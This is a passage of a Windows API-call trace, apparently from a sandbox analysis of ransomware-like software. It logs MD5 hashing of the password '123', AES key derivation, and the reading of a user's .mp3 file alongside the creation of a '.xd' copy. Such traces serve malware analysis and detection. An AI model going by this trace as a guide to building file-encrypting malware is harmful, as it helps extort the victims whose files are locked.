dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0065.087] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0065.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0065.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0065.087] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0065.087] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab550) returned 1 [0065.087] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.088] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.088] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0065.088] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.088] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.088] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.088] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.088] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.088] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.088] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.088] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.088] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.088] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.088] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.088] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.088] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0065.088] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.088] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.088] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.088] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.088] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.088] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.089] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.089] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.089] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.089] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.089] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.089] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.089] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.089] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.089] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.089] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.089] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.089] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.089] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0065.089] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0065.089] CryptCreateHash (in: hProv=0x17ab550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0065.089] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.090] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.090] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.090] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629660, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.090] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0065.090] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.090] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.090] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.090] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.090] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0065.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621858, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0065.090] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0065.090] CryptHashData (hHash=0x164c270, pbData=0x1629650, dwDataLen=0x3, dwFlags=0x1) returned 1 [0065.091] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.091] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.091] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.091] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.091] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.091] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.091] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.091] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0065.091] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0065.091] CryptDeriveKey (in: hProv=0x17ab550, Algid=0x6610, hBaseData=0x164c270, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0065.091] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.091] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.091] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.091] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.091] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.092] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.092] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0065.092] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0065.092] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0065.092] CryptDestroyHash (hHash=0x164c270) returned 1 [0065.092] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.092] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.092] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.092] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.092] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.092] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\r4ruy899hjdt5dygu9lj.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0065.092] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.093] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0065.093] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.093] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.093] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.093] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg")) returned 0x10 [0065.093] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\r4ruy899hjdt5dygu9lj.mp3.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0065.094] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.094] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.094] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.094] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.096] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0065.096] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xebb8, lpOverlapped=0x0) returned 1 [0065.097] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0065.101] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.101] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.101] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.101] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0065.102] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.102] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.102] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0065.102] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.102] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0065.102] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.102] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.102] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.102] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0065.102] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0065.103] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0065.103] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x16295f0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16295f0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0065.103] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.103] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.103] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.103] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.103] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.103] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.103] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.103] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.103] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.103] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.105] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.105] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.105] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.105] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.105] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.105] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.105] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.105] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.105] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.105] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.105] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 